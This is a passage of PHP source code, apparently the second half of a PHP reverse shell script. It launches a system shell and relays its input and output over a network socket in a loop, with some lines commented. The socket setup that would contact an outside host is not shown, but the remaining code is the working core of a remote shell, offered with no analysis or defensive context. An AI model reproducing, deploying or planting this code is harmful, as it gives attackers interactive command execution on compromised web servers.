array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { exit(1); } // Set non-blocking mode stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); // Main loop to forward traffic while (1) { if (feof($sock) || feof($pipes[1])) { break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { $input = fread($sock, $chunk_size); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { $output = fread($pipes[1], $chunk_size); fwrite($sock, $output); } if (in_array($pipes[2], $read_a)) { $error_output = fread($pipes[2], $chunk_size); fwrite($sock, $error_output); } } // Close everything fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?>